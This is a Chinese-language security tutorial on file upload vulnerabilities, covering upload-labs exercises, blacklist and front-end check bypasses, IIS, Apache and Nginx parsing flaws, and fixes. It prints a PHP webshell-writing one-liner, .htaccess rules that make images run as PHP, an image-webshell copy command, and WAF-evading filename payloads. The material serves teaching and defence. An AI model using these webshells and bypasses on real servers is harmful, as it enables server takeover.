文件上传漏洞
1.什么是文件上传漏洞
文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。
2.漏洞产生原因
由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型, 导致攻击者能够向某个可通过 Web 访问 的目录上传恶意文件,并被脚本解析器执行,这样就可以在远程服务器上执行恶意脚本 。
3.文件上传漏洞危害
上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞 , 攻击者上传的文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。如果上传的文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为。如果上传的文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。如果上传的文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。甚至攻击者可以直接上传一个webshell到服务器上 完全控制系统或致使系统瘫痪。
4.文件上传漏洞原理:
大部分的网站和应用系统都有上传功能,而程序员在开发任意文件上传功能时,并未考虑文件格式后缀的合法性校验或者是否只在前端通过js进行后缀检验。这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果,进一步影响服务器安全。
5.文件上传利用思路
1.常规类
- 扫描获取上传
- 会员中心上传、
- 后台系统上传
- 各种途径上传
2.CMS类
- 已知CMS源码
3.编辑器类
- ckeditor
- fckeditor
- kindeditor
- xxxxeditor
4.其他类/CVE
- 代码审计
- 平台/三方应用等
6.文件上传验证/绕过
1.前端
-
**js类防护 ****(js检测绕过)
原理:调用JS的selectFile()函数,将文件名转化为小写,然后通过substr获取文件名最后一个点好后面的后缀(包括点号)进行判断。
<script type="text/javascript"> function selectFile(fnUpload) { var filename = fnUpload.value; var mime = filename.toLowerCase().substr(filename.lastIndexOf(".")); if(mime!=".jpg") { alert("请选择jpg格式的照片上传"); fnUpload.outerHTML=fnUpload.outerHTML; } } </script>
绕过方法:
抓包绕过前端JS的校验就可以直接上传WebShell到服务器。
2.后端
黑名单
-
特殊解析后缀(upload-labs03上传特殊可解析后缀)
<?php $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } } ?>
该代码是对文件上传后缀进行检测,我们可以上传.phtml或者.php2等不在黑名单的文件后缀进行上传
上传成功.phtml后,如果Apache不能解析,在Apache的配置文件httpd.conf文件中添语句即可:
AddType application/x-httpd-php .php .html .phtml
-
.htaccess解析
原理:.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。.htaccess文件内容
.htaccess文件解析规则的增加,是可以按照组合的方式去做的。
第一种、虽然好用,但是会误伤其他正常文件,容易被发现
<IfModule mime_module> AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行 SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行 </IfModule>
第二种、精确控制能被解析成php代码的文件,不容易被发现
<FilesMatch "evil.gif"> SetHandler application/x-httpd-php#在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行 AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行 </FilesMatch>
第三种、同1没太大区别
<IfModule mime_module> AddType application/x-httpd-php .gif </IfModule>
利用方式:上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
实验环境(upload-labs04关)
-
大小写绕过
用像AsP, pHp之类的文件名绕过黑名单检测,如果对文件上传后缀进行检测对php做了限制,改成Php就可以了。
-
点绕过
1 .号绕过原理
Windows系统下,文件后缀名最后一个点会被自动去除。
例如:Windows下新建一个1.php.文件,查看。
2.Burpsuite 绕过黑名单验证
利用Burpsuite工具截断HTTP请求,上传文件加 . 绕过上传。
3.生成并上传Webshell
- 文件头检验
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF :47 49 46 38 39 61 (GIF89a)
PNG:89 50 4E 47
-
空格绕过
空格绕过原理
Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Burpsuite阶段HTTP请求之后,修改对应的文件名 添加空格。 -
=$$DATA绕过
特殊符号绕过原理
Windows系统下,如果上传的文件名中test.php::$DATA
会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
例如:在Windows系统下新建一个文件名为 1.php::$DATA的文件,查看效果。但是在Window下新建的文件名中包含特殊符号不能成功新建。 -
配合解析漏洞
-
双后缀名绕过
白名单
- MIME绕过
- %00截断
- 0x00截断
3.内容逻辑数组绕过(pass13-20)
1.图片一句话木马制作
copy 1.png /b + shell.php webshell.jpg
2.文件头检测
3.图形文件信息判断
4.逻辑安全=二次渲染
5.逻辑安全-条件竞争
6.目录命名=x.php/ .
7.脚本函数漏洞-CVE-2015-2348
8.数组接收+目录命名
7.解析漏洞
1.IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
修复方案
1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹。
2.apache解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
修复方案
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
3.nginx解析漏洞
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
另外一种手法:上传一个名字为test.jpg,以下内容的文件。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
使用phpstudy测试,默认配置即可(虽然默认的cgi.fix_pathinfo是注释状态,但的确默认值为1)。nginx版本1.11.5 (可见并不是)
修复方案
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
2.在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}
这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码
8. 文件上传waf绕过
上传参数名解析:明确那些东西能修改?
1.Content-Disposition:一般可更改
2.name:表单参数值,不能更改
3.filename:文件名,可以更改
4.Content-Type:文件 MIME,视情况更改
常见绕过WAF的方法
1.数据溢出-防止WAF匹配(xxx…)'
2.符号变异-防止WAF匹配(’ " ;)
可用payload:
filename=" xx.php
filename="x x.php
filename=' xx.php
filename='x x.php
3.数据截断-防止WAF匹配(%00 ; 换行)
可用payload:
filename="x.jpg;shell.php"
filename="x.jpg;shell.php
filename='x.jpg;shell.php
filename="shell.php%00xx.jpg" 注意%00要编码
filename="x.jpg;shell.php
filename='x.jpg;shell.php
·····
换行
x.ph
p
x.p
h
p
x.
p
h
p
x
.
p
h
p
4.重复数据-防止WAF匹配(参数多次)
重复filename
前面的filename为可接受的文件格式,最后一个为php文件格式,前面的重复多次,可绕过。
filename中配合其他参数
配合Content-Type: image/jpeg:
可用payload:("/“与”;"配合绕过)
filename="/jpeg;x.php"
filename="/jpeg;/x.php"
5. FUZZ字典配合
字典地址:
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/fuzzdb-project/fuzzdb
9.安全及修复建议
- 后端验证:采用服务端验证模式
- 后缀检测:基于黑名单,白名单过滤
- MIME 检测:基于上传自带类型检测
- 内容检测:文件头,完整性检测
- 自带函数过滤:参考 uploadlabs关卡的函数
- 自定义函数过滤:function check_file(){}等
- WAF 防护产品:宝塔,云盾,安全公司产品等
配合Content-Type: image/jpeg: